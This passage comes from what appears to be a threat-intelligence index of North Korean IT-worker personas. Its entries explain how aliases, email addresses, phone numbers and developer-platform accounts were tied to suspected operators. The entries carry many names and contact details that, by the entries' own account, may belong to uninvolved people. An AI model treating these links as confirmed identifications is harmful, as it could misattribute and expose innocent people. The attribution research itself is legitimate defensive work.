LinkedIn profile for an identity based in Finland; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Cairo, Georgia and the role it presents as Java Software Engineer, and the contact details above. The record adds a mailbox and a LinkedIn profile from the persona's working files. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","The post notes the persona's stated location is Canada in one place and San Gabriel, California in another.","Heiner García's post of 2 August 2025 follows Jackson Mori, whom it assesses as very probably a DPRK IT worker, through GitHub work for Router Protocol from May 2024 to March 2025 under the address jackson@routerprotocol.com, and a set of profiles on job boards that recycle one bio and a few images and claim California, Canada or Japan in turn. The portfolio at my-portfolio-pi-snowy.vercel.app gives the phone number, the jacksonmoridev0507 GitHub account and the LinkedIn profile; the dev.to and F6S profiles give Tender-Terminal, which follows the DPRK-linked BitFancy. Router Protocol gave the author the Telegram handle, and the account blocked him when he asked about the DPRK. The two X accounts use the name and reference Router Protocol.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- bluebird912 -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 6 July 2023 and a display name of Seow Xian Jin. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by reading which account GitHub attributes commits signed willyu226@gmail.com to. GitHub credits a commit to the account that has the signing address registered, which only the mailbox's holder can arrange. willyu226@gmail.com is one of the two addresses github.com/loveFeynman signs its own commits with, under the name William Yu, and loveFeynman is filed under \"GitHub accounts working in the same repositories as the Eric Liu persona\". GitHub attributes the address's commits to github.com/jacksonmori, account id 133004101, created on 9 May 2023, display name Jackson Mori, whose profile describes it as a blockchain developer at Router Protocol: among them the commits in loveFeynman's own repositories self-repaying-protocol and style-transfer, from March and April 2022. The account carries the name of the persona browsercookies ties to github.com/jacksonmori755, whose portfolio duplicates loveFeynman's repositories. The holder of loveFeynman's William Yu mailbox therefore also holds an account in the Jackson Mori name, which joins the Eric Liu working circle to that persona.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (jacksonmori) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under starhelios, a login the index already carries for this persona on another platform. The profile gives a member-since date of 15 June 2020. It displays \"starhelios\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (starhelios) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 30 June 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address jabook425@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- jabook425 -- and asking Hugging Face whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Jacob Brookshire. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Both values are transcribed by hand from the LinkedIn cover image in the fourth attached screenshot, read at five times its published size to confirm them. The banner renders the number as (727)-456-9535; the parentheses are formatting, and the digits are recorded in the bare form the rest of this file uses. The post's own point is that these identities print their contact details into the banner artwork.","Name the researcher publishes for an operator encountered on a video call, with a Golden Gate Bridge virtual background in use.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (attractivedev) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried. On 1 October 2026 the weekly handle pivot found that the same repository's .eslintrc.json holds a list of three email addresses, each followed by a password, in place of lint configuration: the persona's own jamesmiller8612@gmail.com, jackjames5630@gmail.com and hirokohana.dev@gmail.com (hirokohanadev@gmail.com in canonical form), followed by the string everand.com. The three addresses and their passwords are carried as printed.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 1 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address james.sungsoo.choi@outlook.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Glasgow, Kentucky and the role it presents as Senior Mobile Backend Engineer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credits commits signed jameswharrison1109@gmail.com, the persona's address, to CodexDeus, created in October 2025.","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Post seven gives the profile as James Honeycutt of Jacksonville, Florida, while the commits are authored as KevinGrant-dev with this address and the account holds a portfolio repository under the Kevin Grant name; the previous username was KevinGrant-dev. Post nine records the account created on 7 March 2022 within minutes of MBenz12.","The researcher describes a small data leak found on a GitHub account run by an IT worker, about two months old when posted, setting out a multi-tier pipeline for recruiting facilitators the workers call employees, and lists the account and four addresses as its indicators. 0xprincedev and enthusiast0807@gmail.com were already filed under this persona from a commit tally of the jamesh0807 repositories on 20 September 2026, which is what places the other three addresses here. Read on 26 October 2026 with both replies, which add nothing.","Read on 20 September 2026 by tallying which GitHub logins have authored commits in the repositories of github.com/jamesh0807, an account already held under this persona. 0xprincedev has authored thirty of them, more than twice what the account itself has authored there under its own login. It was registered on 1 April 2022, three weeks after jamesh0807, displays the name Prince, and publishes enthusiast0807@gmail.com on its profile, an address this index did not hold. That address carries the same 0807 the held account carries in its own login, which is a value the account publishes rather than a resemblance between two handles. The account holds seventy-one public repositories and has a hundred and forty-two followers, so it is not the throwaway shape the rest of this set has; a commit address and a commit count establish who wrote those commits, not who holds either account.","The second operator the researcher names in the same photograph. The image is not mirrored here for the reason given on the entry beside this one.","The researcher names this as the identity a DPRK IT worker interviews under, claiming Alvin, Texas, and reads the portrait as AI-generated. The post describes the name as a stolen identity, so somewhere there is a real person who carries it and is not accused of anything; it is recorded here because the name is what an interviewer is handed and the entry says plainly whose claim it is and that the identity is stolen. The operator connected from the same Russian address as a second identity the post names.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Floral City, Florida, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a mailbox and a number drawn from the persona's own working files, cited to that date. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 2 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address jamichaelthomastech@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- onetouch0525 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Jan Radu. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 12 September 2026 from the page cited. ethprotector is one of the names the reporting already files this operator under, and the URL appears inside a researcher’s note this site already quotes, but it had never been recorded as an indicator of its own. The profile is a bug-bounty account on Immunefi: a member since 8 April 2024, ranked 520th all time, total earnings of $13,697, one bug-bounty report rated high, and two audit-competition reports. A DPRK IT-worker persona paid through a whitehat bounty platform is being paid by the projects it reports bugs to, under a name and a payment route of its own choosing, which is a different funding path from the salaried contract work this dataset is mostly about. Nothing here establishes that the reports were not genuine security work.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- blackhorse0215 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Black Horse. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- dreamfullstacker -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Dream Fullstacker. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- dreamfullstacker -- and asking dev.to whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 29 May 2022 and no display name but the handle itself. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- fullstackdev3546 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Full Stack. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- fullstackdev3546 -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 17 June 2023. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- juliusmkelly -- and asking Hugging Face whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Julius Kelly. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- seniorwebdev215 -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 9 February 2021. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/webmobileai is account id 108163680, created on 25 June 2022, display name WMAG, with 111 public repositories. Its noreply addresses show it was previously named seniorsoftdeveloper. 91 of its own 100 commits are signed softdeveng9211@outlook.com, and its repositories hold 66 more signed fullstackdev3546@gmail.com; browsercookies gives both for the operator the researcher calls Janus.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/blackhorse0215 is account id 67865729, created on 5 July 2020, bio Ecommerce Wizard. 94 of its 100 own commits are signed blackhorse0215@gmail.com, the handle as a mailbox, which browsercookies gives for Janus.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/seniorweb215 is account id 65157317, created on 11 May 2020. 26 of the 27 own commits GitHub's search returns for it are signed seniorwebdev215@gmail.com, which browsercookies gives for Janus.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 74 commits signed smallstar0924@gmail.com, an address browsercookies publishes for this persona, to the login Caesar0dev, which no longer resolves.","The Calendly page Heiner García's report of 24 June 2025 gives for the 7CodeWizard account.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under 7codewizard, a login the index already carries for this persona on another platform. It gives a joined date of Jul 9, 2024. It displays the name Jaron Gaston, the same name the reporting already gives. It gives a location of Murphysboro, IL, USA. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The persona of the first-time caller Hayden McKenzie's report follows: a Singapore-to-Florida engineer whose biography, NUS degree and interview script were written with ChatGPT, submitted to a MageHire client on 3 September 2026 and rejected. The report says the name was drawn from a real woman in the cell's workbook, who is not the operator.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Dickson, Tennessee, the role it presents as Senior Java Software Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a mailbox drawn from the persona's own working files, cited to that date. Across the site's records, +19049022559 also appears on the record for Daniel Smith. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Fort Meade, Florida and the role it presents as Senior Full Stack Developer, and the contact details above. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","One of two operators the researcher names in a photograph captioned as a row of IT workers. The photograph is not mirrored here: it shows several people the post does not name, and publishing it would put their faces in an index of DPRK indicators on the strength of who they were standing next to.","The gh-fake-analyzer INVESTIGATIONS dataset linked from Ketman's malicious-github-accounts page records that the 0xm00neth account changed its handle to hightechrun and took a new alias, Roy Hensley, with the GitHub account bluesky0309, whose repositories that page shows copied with the originals' merge messages.","Found on 17 September 2026 by asking Docker Hub whether an account exists under 0xlock, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 6 February 2026. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by putting 0xlock, the GitHub login the index already holds for this persona, to Maigret's username search and then asking Trello's public member endpoint, which answers 404 for a name that does not exist. The member record states the display name Lock and no bio; a display name that restates the handle stays in the note. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 12 September 2026 by probing the platforms an operator usually reuses a login on, for the handles this site already holds, and read directly from the page cited. Two accounts under the login this operator is already indexed under: a GitLab account, a member since 12 July 2021, displaying \"0xm00n\"; and a DEV Community account that joined on 22 June 2022, displays \"0x Moon\", links the GitHub account of the same name and has published nothing. Its entire biography is the string \"404 bio not found\" — the same placeholder the DEV account of an unrelated persona in this index, bestsilvertiger, also carries, which is a shared habit rather than a shared account.","The address and telephone number are transcribed by hand from the second attached screenshot of the 19 April post, the contact block of a personal portfolio site. That post's own text describes the LinkedIn account as recently created with almost no post history, showing an employer while also open to work. The 18 April post is the same researcher publishing a still of the video call this identity appeared on, and carries no indicator of its own.","The post introduces the persona as \"Jamelito\" while the profile in the screenshot reads Jemelito Constantino, Team Technical Lead at Dream World. The name is the only value it publishes, and it is recorded as that. A photograph is attached to the post and is not mirrored here.","Read on 18 September 2026 from GitHub's user search on the persona's name, which returned two accounts under it. JCRhyle, created 1 October 2024, carries a profile README headed Jemelito Constantino, AI/ML Engineer, Full-Stack Developer, Web3 BD and VC Scout, Philippines, that links a LinkedIn account, the X account JCRhyle and the gmail address, and names Victus Global and PHI Finance as current engagements; its portfolio repository points at a Vercel deployment that no longer exists. JemelitoDev, created 13 May 2026, states the second address and holds one repository reading Hello world. A freelancermap profile under the same name, created 9 August 2024 and last logged into on 3 December 2024, gives Surigao City, the title Senior Blockchain and Full Stack Developer, freelancing since 2017, and four roles from April 2021 to April 2024 at Azra Games, HeroSwap, MarsNext and MDEX Global; the LinkedIn account the README links gives, for the same years, CoachCare and ChickenDerby, so the identity carries two employment histories for 2021 to 2024 that share no employer. A Fiverr seller under the handle jemelito, Philippines, describes itself as a collective of professionals offering virtual assistant, web development and blockchain services. The LinkedIn account sits in this site's candidate queue rather than in this entry, where its account history and verification are recorded. The name is what links this account to the rest; nothing here establishes that one person holds both, and the entry records what the account itself states. Read again on 18 September 2026: the portfolio repository on JCRhyle carries two commits authored ruijindev0801 <ruijin.developer@outlook.com> beside its two under this account's own address, which is a value this account publishes rather than a name it shares, and that login is filed on this site under the persona Rui Jin.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under nonfungiblejc, a login the index already carries for this persona on another platform. The profile gives a member-since date of 7 June 2019. It displays the name Jenson Collins, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under akcgjc007, a login the index already carries for this persona on another platform. It gives a joined date of Jun 16, 2020. It displays \"anupam\", a display name rather than a person's name. The profile links a GitHub account, akcgjc007. It gives a location of UP, India. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under nonfungiblejc, a login the index already carries for this persona on another platform. It gives a joined date of Mar 20, 2024. It displays \"Jenson\", a display name rather than a person's name. The profile links a GitHub account, JensonCollins. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under akcgjc007, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 7 March 2021. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under nonfungiblejc, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 21 March 2024 and a display name of Jenson Collins. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Nyssa, Oregon, the role it presents as Senior Full stack & Blockchain Developer, and the contact details above. The address is the one point where two researchers meet on the same value. Narcass3 published it in May 2025 alongside the Telegram handle jeremymichael0709 and the X account jeremymichael79, addressing that account as a DPRK operator; it reaches this site again fifteen months later as the contact address of an alias Hayden McKenzie tracks independently. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by two mailboxes, a number and a LinkedIn profile drawn from the persona's own working files, cited to that date. Across the site's records, +14326141112 also appears on the record for Hakeo Hiratani (CA). The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. generalxdev, created in February 2024, displays the name Jeremy Michael and Nyssa, Oregon, the persona's own location. GitHub credits it with commits signed alexandersimmons824@gmail.com, the address on the Alexander Simmons frontend résumé that also carries this persona's number.","Read on 12 September 2026 from a listing on the pipu.cc marketplace whose product description is this curriculum vitae and whose product image is the photograph shown. The listing went up on 2 July 2025 from a seller account named after the CV's subject, one of 1,882 such listings posted between 26 June and 2 July 2025 that between them hold about 1,860 CVs. The address jeremystevenson1225@gmail.com is what tied the listing to this site's index: it appears in DTEX's i3 Threat Advisory email-indicator appendix, which DTEX itself says is not evidence of a confirmed attribution and may list addresses whose real owners are uninvolved. Every other value here is read from the listing itself and is the listing's own claim. A CV in this set may be a real person's stolen document, so the name on it, and the employers and schools it lists, may belong to someone with no part in the operation.","Found on 17 September 2026 by asking Hugging Face whether an account exists under lovelydev829, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Jeremy Taylor. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Australia; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- henryzhang -- and asking Hugging Face whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Jiahui Zhang. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for published persona addresses and reading which account GitHub attributes the commits to. GitHub credits a commit to the account that has the signing address registered and verified, which only the holder of the mailbox can do, so an attributed account is one the address's holder controls, whichever repository the commits sit in and whenever the address was added. Counts are of the commits GitHub's search returns, up to 100.\n\nGitHub attributes 69 commits signed peezenut@gmail.com, an address the lazarus.group registry publishes for this persona, to github.com/peezenut, account id 79215347, created on 17 February 2021, with 3 public repositories. GitHub attributes 1 commit signed james117lee@gmail.com, an address the lazarus.group registry publishes for this persona, to github.com/up-sven, account id 98956519, created on 3 February 2022, with no public repositories.","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Post seven: commits under two names, May Lee and JinHai, from one address.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- blinkdev02 -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 24 April 2026. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Nisos reports that this persona's resume was created and updated in 2024 through the GitHub account imcode65, that the account is associated with the address kanbei0605@gmail.com also used by Karl Chong, and that the persona had no active personal website when the report was written, which Nisos reads as a persona not yet seeking employment. The network map ties it to imcode65 through commits.","The post lists the GitHub accounts under a \"GH:\" label and the three addresses under a \"Gmails:\" label, which is what supplies the domain here. It states the profiles carry several different pictures and names, and gives Okawa Masaaki as the name attached to the okawamasaaki916 address.","Found on 24 September 2026 by searching GitHub's commit index for the addresses researchers give for this persona, and for the addresses of the accounts already filed under it. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/frostyalce000 is account id 177786807, created on 7 August 2024, display name Randy Ganye, bio Senior Software Engineer (AI/ML, Full-Stack, Cloud), location Reisterstown, Maryland. Its profile repository, the one GitHub shows as the account's front page, was created on 15 August 2024 and its first six commits, from 15 August to 2 December 2024, are signed Okawa Masaaki and FatherMonkey916 with okawamasaaki916@gmail.com, an address browsercookies gives for John Benrey Diohen Filio; five more on 7 July 2025 are signed with the persona's full name and airspeed.1e10@gmail.com, another address the same researcher gives for it; and two on 13 July 2025, which GitHub attributes to this account itself, also carry the author name John Benrey Diohen Filio, signed with a disposable address, mebogeucroipa-4212@dripzgaming.com. Across its repositories GitHub's search finds about 200 commits with the persona's three addresses, including miracleguy.916@gmail.com, and in ai-mobile-demo the persona's 147 commits and the account's own 151 fall in the same weeks of June and July 2025. The account signs its own recent commits frosty.alce000@gmail.com.","Found on 24 September 2026 by searching GitHub's commit index for the addresses researchers give for this persona, and for the addresses of the accounts already filed under it. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/engineer10223 is account id 248745798, created on 9 December 2025, with one public repository. All 100 of the commits GitHub's search returns for it are signed okawamasaaki916@gmail.com, an address browsercookies gives for John Benrey Diohen Filio. Because GitHub attributes a commit to whichever account has the address registered, this account now also owns the persona's 2024 commits in github.com/frostyalce000's profile repository, made more than a year before it was created: the address was registered to it afterwards.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under apollo0102, a login the index already carries for this persona on another platform. The profile gives a member-since date of 19 August 2022. It displays the name John Lee, which no source this site holds had attached to this operator before. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Applicant who approached the researcher for a remote engineering role and was assessed by them as a DPRK IT worker. The researcher reports a LinkedIn account created in 2025 with no photograph, an AI-generated CV listing a degree that does not exist and an email address different from the one the application came from, a Telegram account posting to recruit facilitators willing to supply Upwork accounts and stand in for KYC, a GitHub account created in 2025 whose commits carry a third address and among whose repository contributors are accounts the researcher had previously encountered, a connection to the interview from an AstrillVPN address, and a Japanese My Number card the researcher and a consulted specialist assessed as a forgery. Running the three addresses through an OSINT service returned accounts registered under four further names and locations inconsistent with a Japanese national. Both the LinkedIn and the GitHub account were deleted after the interview. The post that carries that OSINT result was itself never cited here until 16 September 2026, and two of the accounts it shows are typeable. The LinkedIn card for Pavlo Polishichuk gives the account name pavlo-polishichuk-b68920364 and a biography in Ukrainian reading Posada Full-stack Developer u Freelancer; the post's own summary places that identity in Poland while the card places it in Shpola, Cherkasy, in Ukraine, and the card is what is recorded. The John Ruff identity is a resume hosted on bubble.io whose indexed preview carries a United States telephone number beside the highgoal215 address already held here, which is what ties the number to this persona rather than to a separate one. The Master Dev identity is a Microsoft account created on 3 November 2025 and registered to France, with only a masked telephone number shown.","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address joinercantillo0813@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The name is this site reading the address, not a name the researcher gave: the post pairs an address with a picture and attributes neither to anybody.","Found on 24 September 2026 by searching GitHub's commit index for the address browsercookies published for this persona in the profile-picture thread of 17 May 2025. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so a former handle is a matter of record; and GitHub attributes a commit to whichever account has its address registered, which only the address's holder can do.\n\ngithub.com/fromancient is account id 55820888, created on 26 September 2019, with 139 public repositories. Its noreply addresses show it was previously named 